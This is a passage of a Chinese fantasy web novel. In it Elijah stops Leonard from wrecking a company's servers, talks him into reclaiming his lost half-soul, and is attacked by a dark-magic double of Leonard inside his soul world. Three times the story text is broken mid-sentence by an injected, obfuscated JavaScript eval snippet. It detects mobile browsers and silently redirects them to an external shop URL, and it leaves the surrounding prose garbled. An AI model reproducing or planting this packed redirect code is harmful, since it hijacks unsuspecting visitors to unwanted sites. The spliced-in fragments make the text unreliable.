“警告!警告!飞船引擎受阻,无法起飞,A级保护措施已启动。”随着警报声,飞船忽然一阵猛烈震动,以利亚连忙抓住椅子腿稳住自己,翻身趴到控制台上,调出错误报告一目十行:“A级保护措施?你到底怎么回事?” 越往下看,以利亚的表情越凝重,一扭头,躺椅上的莱纳德居然不见了,绑在他身上的固定带瘫软在地上,像条死蛇。 以利亚眼角直跳,该死,莱纳德肯定是趁他把自己上传到灵魂茧房里的时候醒过来挣脱了束缚。 这家伙固执得像头驴,疯狂得像只松鼠,他能自由行动后会干什么?以利亚伸手把全身的衣服口袋都摸了一遍,果然,金属笔不翼而飞了。 难怪飞船无法起飞,莱纳德在这里开了一道传送门,此刻他的人在传送门另一边,而半个灵魂还留在飞船控制室里,系统判定有人尚未完成登船,当然会反复阻止引擎了。 以利亚在键盘上输入了一串代码,用他能做到的最快速度追踪传送门,他想到灵魂茧房最后的病毒入侵警告和清除数据库指令,不由得捏紧了手指,直到指节发出不堪重负的“嘎巴”声。 玻璃瓶里的白色荧光仿佛感受到了空气中的焦躁,闪烁不停,以利亚深深吸了口气,狂乱的心跳总算缓和了一些,他只希望莱纳德不要太冲动。 追踪结果得出,不出意料,传送地点果然在沃冷公司总部。 飞船引擎受阻无法起飞,以利亚只好逆向重构传送门,随着绿色荧光在空气中勾勒出方框,飞船再次剧烈震动起来。 这样做很危险,搞不好影响会把时空涡流器炸飞,但眼下没有更好的办法了。以利亚死死抓住控制台,直到传送门完全显现,他才一松手,直直朝门那一边撞了过去。 “咣当”一声,以利亚摔在一排机柜上,耳边立刻充斥着电机的嗡嗡声和噼啪乱响的电流声。他爬起来,认出了这是沃冷公司总部的总机房,而此刻,机房显然遭到了极不友好的暴力破坏。 目光所及之处,机柜无不东歪西倒,露出了里面被捣毁的服务器,还能发光的灯都亮起了刺眼的红色,警报声响成一片。 机器残骸间,有个人正挥动斧头,朝尚且完好的机柜砍去。 “莱纳德!” 以利亚抓着横倒的机柜跳起来,拔脚朝那个人冲过去,服务器被斧头劈得四分五裂,以利亚低头躲过一片飞镖似的旋转飞来金属,不要命一样拦腰抱住莱纳德,用力把他朝后拖去,大声喊道,“够了!我从灵魂茧房离线了!你的另一半灵魂也找到了!跟我走!” 莱纳德右肘向后,重重撞在以利亚腰间,怒道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368252|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“放手!” 以利亚吃痛,差点被莱纳德甩开,他咬紧牙,右手一松顺势攀上莱纳德的颈间,左手从他腋下穿出,把他整个人绞住,却没有立刻加力,哑声道:“听话,别逼我再对你动手。” 莱纳德气喘吁吁,但总算没再挥斧子乱劈,他垂下双臂,说道:“这个地方不能留了,必须毁掉。” “对,但我们还有别的办法!” “没有别的路了!” “有的,莱尼,听着,沃冷家族绝不能轻易脱身,但不是现在。” “为什么!” “因为时间旅行自有其法则,我们做我们该做的,明白吗?”以利亚低头看着莱纳德,无比庆幸自己有身高优势。 “那些被困的灵魂怎么办?” “会有办法的。”以利亚安抚地拍着他,坚定道,“现在把斧子放下,跟我走。” “当啷”一声,消防斧砸在地上。 以利亚悄悄地松了口气,掰着莱纳德的肩膀把他夹在自己臂弯里,感到对方嘴里喷出的气好像碳火一样灼人,他揉了揉对方汗津津的头发,轻声说道:“没事了,莱尼,你做得很好,现在我们安全了。” 头顶的警报声忽然变了调,那是热武器预载的动静,制式皮靴由远跑近的声音从机房门外传来,显然,沃冷公司对于猝不及防的入侵有着高效率的反应机制。 “看来这词不能随便说。” 以利亚苦笑。 “谁来了?” “沃冷打手,快跟我走,传送门就在那边。”他说着拉住莱纳德的手臂,后者还在愣神,几乎话音刚落,机房门便被破开,以利亚撒腿就跑,差点把莱纳德拽个趔趄。 身穿保安制服的打手们大呼小叫地,幸亏没有立刻武力招呼,趁着对方呼喊喝问的空挡,以利亚抓住莱纳德一路狂奔,惊险万分地跑回飞船主控室,两人都是狼狈万分,仰面瘫在地上直喘气。 “你怎么敢?” 莱纳德率先喘匀气,第一句话就兴师问罪,“你怎么敢把自己的灵魂上传到茧房里?就不怕永远迷失在里面?” ——如果换成以前,他们会一起躺在地板上开怀大笑,直到喘不上气来。 这个念头滑过以利亚的脑海,像跌进热锅里的巧克力,很快就变得黏糊糊的,闻着很香,但看起来很恶心,像另一种东西。 他用力揉了揉鼻子,努力让自己听起来不像个撒脾气的十二岁女孩:“完整的灵魂不会那么容易迷失,不然你以为红帽子女巫为什么只要你的半个灵魂,怕吃撑?” 莱纳德冷哼:“别扯淡,我看上去那么好骗?你明明差点就回不来了。”他指着以利亚的眼睛,粉红色鱼影一闪而过,他一颤,手指头差点戳上去:“你打算怎么处理你从茧房带回来的坏东西?” “简单,等我有力气爬起来了就去配解毒剂。”以利亚眨眨眼睛,不自然地说道。 当然不止配个解毒剂那么简单,为了跟莱尼实现绑定,把那半个灵魂带回来,他不得不被茧房病毒污染,等到这件事结束,就该尽快安排清除病毒了。 也许那些粉色小鱼最终会让他付出代价。 但以利亚相信那是值得的,只要眼前这头倔驴能够听他的话。 “好了,其他的以后再说,我们眼下有个更重要的任务。” 以利亚冲莱纳德晃了晃手里的小玻璃瓶,瓶中的白色灵魂雀跃着,几乎有些迫不及待,“有人丢了半个灵魂在我这里,想要回去吗?” 可出乎意料地,莱纳德憋足了劲,冲他大声吼道:“不!” 52.第二十章:日记本 “怎么,你以为我之前是在开玩笑?”莱纳德爬起来,手肘撑着膝盖半跪在以利亚旁边,垂着眼皮,居高临下地看着他,“我说过了,没有这半个灵魂我活得更好。” 以利亚沉下脸:“这不是你该决定的。” “那该由谁决定,你吗?”莱纳德哂笑,“上次我问你,你好像还不是上帝呢。” 以利亚说:“别这样,你会后悔的。” “呃嗬,你听起来可真像我爷爷。”莱纳德粗着喉咙,表情夸张地说,“莱尼,别爬那梯子,你会后悔的。别不吃蔬菜,你会后悔的。别去MIT,你会后悔的,因为杜弗伦家的男人只在战场上挥洒青春。” “这对你丢掉的那半灵魂不公平。” “为什么?跟女巫签订契约的可不止是我。”莱纳德指了指小瓶子,“他也有份,大丈夫就要敢作敢当。” 他耸耸肩,不屑道:“当然,那家伙一直是个怂包来着。” “听着,莱尼,灵魂状态在玻璃瓶里存放不了多久,沃冷总部的灵魂茧房服务器已经被毁掉了,如果你不接受,”以利亚感到后槽牙一阵钝痛,“他很快就会消散,你的另一半将会永远死掉。” 他绝不允许那种情况发生,不管代价如何。 莱纳德皱起眉头,思考了一会儿,仰头露齿微笑:“节哀顺变。” “你……” “喂、喂,”莱纳德看着以利亚脸上的表情,忽然往后退开,戒备地举起双手,“你不会又想打我了吧?嘶,我的下巴可还疼着呢。” 他眯起眼睛:“顺便一提,你想要把那瓶子里的东西硬塞给我,光打我下巴可远远不够,我也不会乖乖伸出脸来给你打,别怪我没提醒你。” 以利亚垂下头,用力捏了捏鼻梁,耐心道:“莱纳德,我不想打你。”他站起来,小心翼翼地把玻璃瓶放进上衣口袋,说:“走吧,我带你去看一样东西。” “希望不是你又一个拖延时间的花招。”莱纳德讥刺道,“除非你刚才关于灵魂保质期的说法全是屁话。” 以利亚好脾气地没有理他,径自走出了总控室,莱纳德犹豫片刻,还是跟了上去,“喂,等等我。” 顺着总控室外的旋转楼梯,每往下一层都是莱纳德从未见过的功能不明的区域,他忍不住说:“我还以为咱们的飞船只有一层呢。” “曾经是,不过它一直是个喜欢搞基建的小东西,我又提倡散养教育。”以利亚说道,顺着走廊右拐,“这边。” “你不会想告诉我,这飞船能给自己扩建吧?” “定制工程材料,又叫活金属。”以利亚伸手抚摸舱壁,语气平淡,但莱纳德能听出其中克制的喜爱之情,“再加上有创意的智能核心,所以,是的,这些地方都是飞船自己建造的。” 莱纳德翻了个白眼:“真厉害。” 以利亚没理他,径自推开一扇舱门,走了进去。 舱房里光线昏暗,所有东西上都蒙着厚厚的灰尘,地板也显然很久都没有人踏足过了。莱纳德胳膊上忽然窜起一层鸡皮疙瘩,这地方好像有某种奇异的磁场,空气里满是静电,让人头发直竖起来,有一瞬间,他只想掉头跑出去,越远越好。 “这是什么地方?” “别担心,我保证衣柜里不会有鬼魂跳出来。”以利亚用手指拂过积灰的桌面,留下两道长长的痕迹,桌面上似乎有不止一处这样的指痕。 “这屋里压根就没有衣柜。”莱纳德搓了搓手臂,忽然说道,“我要走了。”不是虚张声势,这鬼地方他一秒钟都不想再待下去了。 “看看这个。” 以利亚的声音留住了莱纳德。他俯身拉开一个抽屉,从拿出一个沾满灰尘的牛皮本,递给莱纳德:“如果你看完之后仍然坚持要走,我绝不拦着。” “这是什么?日记本?”莱纳德的手指捏住封皮,指尖忽然蹿过电流似的一阵刺痛,差一点把本子丢出去。 他皱眉看着那玩意儿,牛皮看起来相当陈旧,本子边角翘起,书页泛黄,也不知被人翻过多少次了, “你没猜错,”以利亚摊开双手,“这本日记是我机缘巧合得到的。” 莱纳德对他的机缘不感兴趣:“谁的日记?” 以利亚不答反问:“你还记得多姆·柯布和他的旋转陀螺吗?” “拜托,别告诉我你打算跟我聊盗梦空间。” “不是什么好时机,我知道,我只是想告诉你,这本日记是我的旋转陀螺。” “什么意思?你在做梦?”莱纳德朝天翻了个白眼,用上最不屑的语气,但他的舌尖却忽然发苦,仿佛舔到了苦瓜汁似的。 以利亚笑笑,回答了莱纳德的上一个问题:“这本日记是你的。” “谁?” 日记本险些从莱纳德指尖滑脱,他定了定神,嗤笑道:“别逗了,我这辈子从来没见过这个本子。” “还没见到。”以利亚把重音咬在了时态上。 “我已经见到了。”莱纳德用过去时态作为回敬。 以利亚盯着莱纳德,目光灼灼逼人,仿佛要看穿他的半个灵魂一样,“当然,我们可以玩过去、现在、将来的文字游戏,但别告我你没听懂我的话。” 他一字一顿:“莱纳德,这本日记是你在未来写的。” 莱纳德的腮帮子抽搐了一下:“那又怎样?” 以利亚笑了笑,但笑容似乎也有些勉强:“我游走过很多世界,莱尼,因为时间滑脱是我的诅咒。”他垂下目光,看着牛皮本泛黄的纸页,“就像多姆·柯布一样,我需要有东西来提醒我我哪个世界才是真实的,你明白吗?” 莱纳德干巴巴地说:“不明白。” “这本日记里写着我们的每一次冒险。”以利亚用手指了指本子,“只要它在,我就知道我们还算有未来。” 他等了一会儿,看莱纳德毫无反应,又说道:“如果你担心的话,我从没有翻开读过。” “我不担心,但你最好知道,就算我是比尔博·巴金斯。”莱纳德举起手里的牛皮本,平静地看着以利亚,“也不代表这本书会有个好结尾。” 他顿了顿:“坦白地说,失去索林,放弃魔戒,孤身一人西去阿门洲也实在算不上什么好结局。” “结局不重要。”以利亚的语气斩钉截铁。 “哦,那什么才是重要的?” “写书的人,不是吗?” “因为只有灵魂完整的人才会写日记?别逗了。” 莱纳德把日记本拍到以利亚胸口上,哂笑道,“听着,以利亚,我知道你一直有种不讲逻辑的苏格拉底式的宇宙责任感,但是拜托,我不是你的拯救对象。” “我知道,但你是我的朋友。” 以利亚伸手按住日记本,莱纳德立刻把手指抽出来,后退两步,说道:“那就做一个朋友该做的事,比如,”他盯着以利亚,目光灼灼逼人,“告诉我,什么叫我的灵魂被污染过?” 以利亚脸色一变。 莱纳德用指尖顶着本子,目光玩味:“这本日记里有答案吗?” 以利亚沉默半晌,终于说道:“你的日记,你当然可以看。” 莱纳德笑了:“好吧,等我在乎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382400|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,也许我会去看的。” “这不是……” “以利亚,现在听好了,”莱纳德打断他,“我不在乎我的灵魂是不是被污染过,我也不在乎你对我隐瞒了多少东西,那半个灵魂活该去死,讨论结束。” “这是未来,你逃不掉的。” 莱纳德的回答是:“去找在乎的人讨论吧。” 他说完转身走出舱房,听到以利亚在他背后说道:“你曾经对我说过,我是诺贝尔‘灾难降临’奖得主,实至名归,你最大的愿望就是能亲眼看到我带着我该死的屁股跳进岩浆里。” 莱纳德停下脚步,转过头,太阳穴附近的血管“突突”直跳。 耶稣在上,他不在乎自己丢掉的半个灵魂,更不在乎眼前这个人。 但诅咒对方去死?那是另外一回事。 以利亚试图挤出一个微笑,结果不太成功:“而你会站在旁边播放《柴可夫斯基第六交响曲》,庆祝这个美妙时刻。” “我没说过。”莱纳德轻轻吸了口气,感到脑子里有根弦忽然跳了一下,他听到他的声音在重复以利亚的话,但语气却陌生得不像自己的。 “你只是不记得了。” “我凭什么相信你?”那根弦绷紧了,想必用琴弓都能拉出A大调来。 “你可以看看日记。” “我不……”莱纳德忽然有所预料地闭上了嘴。果然,以利亚紧接着说道:“但如果你放弃自己的半个灵魂,时间或许会被改写,这本日记也将不复存在。” 他说着把小玻璃瓶从口袋里掏出来,垂眸看着里面闪烁的白色荧光,终于笑了笑:“我觉得你应该给它一个机会,你说呢?” 莱纳德瞪着以利亚,他知道自己还是输了。 两个人来到了医疗室,或者说,看起来其实更像20世纪美国纽约州的死刑执行室。 屋子里摆着两把椅子,上面接着束缚带、电线和仪器,天花板正对椅子的地方甚至还用光纤吊下来两个金属头盔。 “这是干嘛?上电椅吗?”莱纳德问。 “你的半个灵魂是在黑魔法契约下被剥离的,现在也仍受黑魔法约束,想把它装回去可不像拼乐高积木那么简单。”以利亚走到椅子前,摆弄起那堆仪器来,一边说,“这些仪器可以帮助你稳定下来,还能止痛,至少能减缓疼痛,你可能不记得了,但那红帽子女巫把你的半个灵魂剥出来的时候,你叫得比杀猪还惨。” “谢了。”莱纳德撇嘴,没有告诉以利亚剥离灵魂的情形他其实完全记得。 拜托,那种事谁会忘掉?剥灵魂又不是剥花生,秃噜掉皮吹一吹就又是条好汉。 莱纳德挑了把椅子坐上去,任由以利亚把头盔和电极片连在他身上,最后把束缚带绑好,问:“这样就成了?”他瞄了眼旁边空着的椅子:“为什么还有把椅子?” “那把是我的。”以利亚简短地回答,他垂下睫毛,避开了莱纳德的目光。 “你的?” “你需要一个灵魂向导。”以利亚说完沉默了一会儿,又低声道,“我不会让你一个人的,至少这次不会。” “什么意思?”莱纳德忍不住问。 以利亚没理他,他在空椅子上坐下,戴好头盔,最后一遍检查仪器,然后捏紧玻璃瓶,看向莱纳德:“准备好了吗?会很疼的。” 莱纳德短促地笑了一声:“杰罗尼莫。” 以利亚扳下总控开关,仪器“滴滴”响了几声,连通了,他闭上眼睛,手指忽然一松,玻璃瓶在地上摔成碎片。 白光立刻将两人完全包围。 53.第二十一章:假象 以利亚发现自己躺在一片焦土和废墟之间,酒橙色的太阳几乎沉到天边,像只半熟的鸡蛋黄,流出的溏心染红了云层。他撑着翻倒的水泥板爬起来,举目四望,四下里寂静无声,残破石板隐约能看出旧日的街道模样。 故园鸟镇。 当然了,还能是哪儿?以利亚自嘲地笑笑,他现在是在莱纳德的灵魂世界里,故园鸟镇是一切开始的地方。 以利亚伸指捻起地下的黄土,搓了搓,尘土和沙粒立刻消散了,他抬起眼睛,露出担忧的神色,莱纳德的灵魂世界正在慢慢瓦解,就像眼前破败的高楼和锈迹斑斑的报亭一样,失去半个灵魂对莱纳德的影响远比他以为的大得多。 而莱尼的另一半灵魂,以利亚检查自己的口袋,玻璃瓶还在,里面的白色荧光却消失了,他皱起眉,必须尽快找到走丢的半个灵魂,在这个灵魂世界彻底崩溃之前。 半个灵魂即便化形也不会走太远,以利亚选择了离他最近的一栋公寓楼作为搜查起点,锈蚀的防盗门只剩上半边还摇摇晃晃地挂在门框上,吱呀作响,仿佛随时都会掉下来。他迈开腿跨过门槛,楼道里一片漆黑,微弱的滴水声指明了地下室的位置。 犹豫了一下,以利亚抬脚往地下室走去。 眼睛逐渐适应了黑暗,以利亚辨认出楼梯和扶手的轮廓,墙皮剥落,露出东一块西一块发霉的痕迹,空气里有某种说不出的恶臭,像腐烂的垃圾。他下楼梯的脚步声在楼道里回荡,成为除了滴水声外唯一的声响。 以利亚忽然屏住呼吸,竖起耳朵,他听到了另一个人压抑颤抖的呼吸声,就在不远处。 他推开左手边的一扇木门,潮湿腐朽的气味立刻扑面而来,呼吸声也更加清晰,他摸黑往前走了几步,差点被一根粗如儿臂的水管绊倒,对面立刻响起一声轻呼:“谁?” “别怕,莱尼,是我。”以利亚听出了那个声音,心里一喜,抬脚朝声音摸了过去。 “以利亚?”莱纳德的声音充满喜悦之情,轻声喊道,“我在这儿!我不知道怎么回事,有人把我拷在这里,天呐,幸好你来了。”他在黑暗里挣扎了一下,立刻有铁链碰撞的“叮当”声响起来,“这地方有东西,以利亚,这地方有别的东西,我听到了……” “嘘,没事了,别怕,没事了。”以利亚安抚道,他先抓住了莱纳德的肩膀,然后顺着肩膀往下摸到他瘦骨嶙峋的胳膊和手腕,金属铐子挂在细细的手腕上,就像小孩子偷戴妈妈的手镯似的。“你先别动,这铐子生锈得够厉害,我看看能不能把它掰开。”以利亚把手指塞进手腕和手铐的缝隙,向外用力一撬,锈蚀的部分立刻像放久了的司康饼一样掉下渣来,他咬紧牙,手上加劲,“坚持一下,马上就好。” “以利亚,真的是你。”莱纳德急促的呼吸声在耳边响起,夹杂着从牙关唇缝里逸出的“嘶嘶”声,他是太激动?还是快要哭出来了?以利亚不及细想,伴随着“喀拉”一声,手铐断成了两截,他把铐子扔到地上,抓住莱纳德的上臂,用力把他拉起来:“有没有受伤?身上还有别的镣铐吗?” “没有。”莱纳德嘟囔道,他朝前一倒,整个人靠在以利亚身上,虚弱得连站直的力气都没有了,以利亚这才发现莱纳德竟然已经瘦到了皮包骨头的地步,连三岁小孩都能一拳打倒他,或者甚至不用挥拳,只需要在他背后吱哇大叫一声。 在灵魂世界里,相由心生有着更加真实的含义,以利亚意识到他们的时间不多了,一旦破碎的灵魂得不到融合,莱纳德会死,这种事决不能发生。 “我们先出去。”以利亚扶着莱纳德,带他离开了地下室,但正准备走出公寓楼时,莱纳德却抓紧以利亚一个劲缩了回去,说什么也不肯再往前一步,门外的光线映出他满脸惊恐神色:“外面有怪物,真的,我听得到。” 以利亚按住他,但也没强行走出去:“什么怪物?你听到什么了?”他竖起耳朵,可楼外仍旧是一片寂静,他连一丝异响都没听到。 莱纳德小声说:“不知道。”那对蓝色眸子紧缩着,像两颗冰珠似的在眼眶里颤动不休,他抓紧以利亚的前襟,又说:“我们绝对不能出去,外面太危险了。” “那我们上楼。”以利亚无声地叹了口气,这里是莱纳德的灵魂世界,他才是规则制定者,尽管莱尼自己可能还没意识到这一点,但之所以会有怪物,是因为他认为它们在那儿。 可他究竟在怕什么呢? 以利亚想不出。 “好。”莱纳德点点头,跟吓坏了的小动物似的缩在以利亚怀里,以利亚一边上楼一边跟他说话:“你知道这是哪儿吗?莱尼,这里是故园鸟镇,你能认出这是什么地方吗?” “橘子园小区。”莱纳德眨着眼睛,安静地回答,“马克警长以前住在这里。” “马克警长?” “马克·格兰特,故园鸟镇的警长。”前任警长,但以利亚没必要知道这一点。 “是他把你锁在这里的吗?” “不是。” “那是谁?” “不知道。”莱纳德打了个冷战,“以利亚,你能把外套给我吗?好冷。” 以利亚扶他靠坐在台阶上,一言不发地脱下外套,裹在了莱纳德身上,他的目光扫过对方沾满污泥和血迹的破烂衬衫,忽然僵住了,“莱纳德?” “嗯?”莱纳德抬起头,蓝眼睛里似乎有笑意一闪而过,如同冰凌在太阳底下的反光,明亮却没有温度,“怎么了?” “你还喜欢《柴可夫斯基第六交响曲》吗?”以利亚用右手拇指摩擦了一下莱纳德的锁骨,那里,苍白的皮肤上印着一个黑色骷髅头——黑魔法的标记——以利亚很确定,事实上,他无数次确认过,莱纳德失忆后那个印记就不见了。 “哦?”莱纳德一把握住以利亚的手指,凑上去,森然一笑,“我还以为我表现得很完美呢,是什么地方露馅了?”他忽然伸舌头舔了一下以利亚的手背,那条舌头竟然生满倒刺,手背皮肤上立刻多出一道血痕,以利亚猛地缩手,却被对方用力拉住,攥紧,哑声说道:“我等了你很久了,以利亚,你都不知道我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399811|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等了你有多久。” 以利亚的表情绷得好像铁板,那双灰眼睛仿佛忽然变成了两个深不见底的旋涡。 莱纳德抬手打了个响指,咧嘴笑了起来:“但一切都是值得的,不是吗?你终于来了。” “喀啷”一声,以利亚低头看着自己的双手,手腕上各多了一个镣铐,不是生锈的那种,而是闪闪发光的精钢铐子,细长的铁链“叮叮当当”地向后延伸,他回过头,昏暗肮脏的楼道不见了,滴水声也停止了,剥落的墙皮和霉斑变成了一尘不染的粉墙,花纹繁复的镂金顶灯,还有一台举着大喇叭的留声机,音乐声正从喇叭里缓缓流淌出来。 “是《柴可夫斯基第六交响曲》,喜欢吗?”莱纳德在他身后说道。 以利亚转过身,莱纳德眨眼间已不再是那副瘦骨嶙峋、快要病死的憔悴模样了,那双蓝得出奇的眼睛让他看起来容光焕发,他还披着以利亚的外套,但里面的衬衫雪白,领口笔挺,金发梳得整整齐齐,在脑后扎成一个短小的马尾。 “我说过,等我亲眼看着你融化在岩浆里的时候,要放这支曲子庆贺。”莱纳德露出矜持的微笑,“我不是那种喜欢搞戏剧化大场面的人,但你怎么看?岩浆?还是更传统一点?”他手腕一翻,掌心里多了一柄匕首,细长的刀锋被灯光映得闪闪发亮。 以利亚盯着那柄匕首,说:“我还是喜欢传统一点。” “哈!”莱纳德短促地笑了一声,“你还是那样,不管发生什么都要装出一副胸有成竹的样子来,两只脚都踩在屎坑里了,表情还跟要去参加鸡尾酒舞会一样,说实话,要不是我太了解你,肯定要以为你一点都不害怕呢。” “莱纳德,这不是你。”以利亚动了动手腕,手铐很结实,铁链的另一端固定在墙角,铁环埋在地下,仅凭蛮力绝不可能挣脱,他必须另想办法。 莱纳德闻言笑了起来:“这话你骗骗那个失忆的傻子也就算了,怎么还敢对我说?” 他用匕首挽了个漂亮的刀花,朝以利亚凑过去,“有这心思,不如想想自己喜欢的死法,剜心怎么样?老实说,我一直想看看你是不是真的有心。” “我知道你并不想伤害我。”以利亚后退了一步。 “呃嗬,你那套虚情假意的东西我真的听了就反胃,趁早打住吧。”莱纳德挥挥手指,以利亚嘴上立刻多了一道铁口罩,把半张脸封得严严实实。 他嗤嗤笑了起来,“遗憾呐,我原本想好好听你惨叫的,说不定能跟交响曲合上拍子呢,但你这张嘴实在太啰嗦了,这么多年,你简直一点长进都没有。” 说着提起匕首,在以利亚胸口挑衅似的打着圈子,喃喃道:“心脏在哪个位置呢?”他的左手按上去,先是右侧,然后挪到左侧,展颜一笑:“是了,就是这儿,你心跳挺有力嘛,我们要不要先小试一下?”他右手轻送,匕首尖立刻刺入以利亚的胸口肌肉。 以利亚轻哼了一声,但却并没有后退,鲜血迅速染红的他的衬衣前襟。 他右手背在身后,手指紧紧攥住了链条。 54.第二十二章:警长和邦德 “说起来,我还得感谢你,以莱。”莱纳德嘴上叫得亲昵,右手却拖着匕首在以利亚心口的位置画了个歪七扭八的圆圈,歪头欣赏起来,“要不是你瞎了,还像个白痴那样走进沃冷的圈套里,那个失忆的蠢货也不会急昏头了去跟女巫做交易。” “当然,也不是完全昏头,你猜猜他当时是怎么想的?给你三次机会,答对有奖。”莱纳德用匕首敲了敲以利亚嘴上的铁口罩,那东西立刻掉下来半边,挂在了以利亚的下巴上,莱纳德又用匕首蹭了蹭他的嘴角,“你可以说话了,以莱,猜猜你的傻莱尼为什么要出卖自己的灵魂吧。” “不想再当导盲犬了?”以利亚提起嘴角,立刻感觉匕首上的力道加了一分,莱纳德恼火地瞪着他,咬牙道,“你什么时候能识相一点?” “怎么才叫识相?”以利亚顺从地反问,垂下眼睫和莱纳德平静对视,仿佛浑然感觉不到疼痛,“你是想看我痛哭流涕,还是破口大骂?” 莱纳德哈哈一笑:“对哦,你一向是越疼越不吭声,十足的施瓦辛格式硬汉,我很欣赏。”他凑到以利亚耳边,“但别忘了,我有的是办法让你哭出来。” “我现在就可以哭。”以利亚说,眼角的肌肉抽动了一下。 “真聪明。”莱纳德在他耳垂上咬了一口,留下一个血红的印记,“你知道黑魔法最大的好处是什么吗?以莱。” “不知道,让人心理变态?”以利亚偏开头,却把脖子暴露给了对方,立刻又挨了一下。 莱纳德舔了舔牙齿上的血丝,露出享受的表情:“这把刀只能让我杀死你,但黑魔法能让我彻底拥有你,你看,等我喝够了你的血,”他把头埋下去,细细地啮咬着对方脖子上的软肉,喃喃道,“我让你做任何事,你都不会再拒绝了。” “那可以拜托你吗?”以利亚慢慢说道,语气真诚,“到时候千万别让我去吃屎。” 他整个人忽然向后撤步,缠紧铁链的右拳上挥,重重砸到了莱纳德的下巴,趁对方吃痛后退的一瞬,以利亚猛扑过去,左手铁链在对方脖子上连绕两圈,往反方向用力一拽,莱纳德顿时摔倒在地,匕首在慌乱中脱手飞出,眨眼间便狼狈地仰面躺在了地上。 可他居然还笑得出来,露出的牙齿上沾满血迹,可见刚才挨的那一下着实不轻,声音也含糊不清:“我真佩服你,以莱,明知道反抗没用,还偏偏要垂死挣扎。” 他打了个响指,以利亚顿时像麻袋一样被甩飞了出去,重重砸在对面墙壁上,不等落地,七八道锁链就把他缠了个结实,铁口罩也重新扣在了嘴上。 莱纳德爬起来,把以利亚借给他的外套脱下来,团成一团,擦了擦嘴角的血迹,然后随手扔到一边:“我得承认,热身活动有助于开胃,你可以继续挣扎,说不定我其他兴致也会被提起来呢。” 对面,以利亚的眼睛忽然瞪大了,铁口罩后发出一阵呜呜的声音,他扭动起来,但铁链缠得很紧,几乎让他动弹不得。 “怎么,终于知道怕了?”莱纳德笑得很愉快。 他正要朝他的猎物走过去,“嗤”的一声,一柄细长的匕首忽然间从他后背扎穿到了前胸,那张脸上的笑容顿时凝固了。 莱纳德低下头,不可思议地盯着胸前的匕首尖,一阵刺骨的冰冷从胸口飞快地蔓延到了四肢。 他向前重重摔倒在地。 以利亚睁大眼睛,随着莱纳德倒下去,看清了在他背后出手的人,对方穿着一身脏兮兮的卡其色警探制服,头戴警帽,胸口还挂着一枚警长徽章。 而他的脸,竟然和莱纳德一模一样。 莱纳德把匕首从尸体背上拔出来,大踏步朝以利亚走过去,一言不发地斩断他身上的镣铐,铁口罩也被他一伸手掰了下来。 “千万别告诉我你叫马克·格兰特。”以利亚在被对方扶起来时嘟囔道,浑身的伤口这时才一齐作痛起来,他差点一屁股坐回原地,但莱纳德用力扶着他,让他站稳,然后面无表情地开口问道:“你是被打傻了吗?” 谢天谢地,以利亚吁了口气:“莱尼,见到你可真高兴。” 没想到莱纳德却说:“别叫我莱尼。”他拉着以利亚往外走,走了几步,又说,“叫莱纳德就够了。” “好吧,莱纳德警长。”以利亚自作主张地加了头衔,跟着莱纳德走了几步,发现两人竟然走出了刚才的公寓楼大门,再次回到了黄土飞扬的破败街道,他眼角瞄着莱纳德的侧脸,“让我猜猜,你也是莱纳德灵魂的一部分?你们四分五裂了?” 莱纳德闭着嘴不说话。 以利亚又问:“里面那位德古拉爵士害怕的人就是你吧?你把他杀了?” 莱纳德回答了第二个问题:“他没死,只是暂时失去意识。”然后又说:“这里不安全,我们得尽快离开。” 以利亚失笑:“难不成这儿还有安全的地方?” 莱纳德回答:“闭上嘴,跟我走。” 以利亚老老实实在嘴上做了个拉拉链的动作,莱纳德走了几步,又问:“你伤口用不用包扎一下?”以利亚不吭气,目光炯炯地看着他,指了指自己的嘴巴,莱纳德翻了个白眼,语气终于有了点波澜:“以利亚,拜托,你还能更幼稚一点吗?” “这不是怕你也掏出个铁口罩来么。”以利亚嘟囔,他伸手扯了下胸口的衬衫,血干结直接把布料糊在了伤口上,疼得他龇牙咧嘴,脖子上也多了道口子,被德古拉给咬的,幸亏避开了动脉,不然怕不是要血溅当场。 “我跟他不一样。”莱纳德忽然说,以利亚感到对方的半边身子僵硬起来,“我并没有要偏袒他的意思,但如果不是被黑魔法污染,他也不会那样对你。” 以利亚叹了口气:“我知道。”但他估计会有很长一段时间不敢去回想莱纳德把匕首插进自己胸口时的表情,还有那几声“以莱”,以利亚衷心希望再也不要有人这么叫他了。 莱纳德忽然站住脚步,左右看了看:“到地方了。” 以利亚一愣,这地方就是个再普通不过的马路边,写着“哈迪大街”的路牌 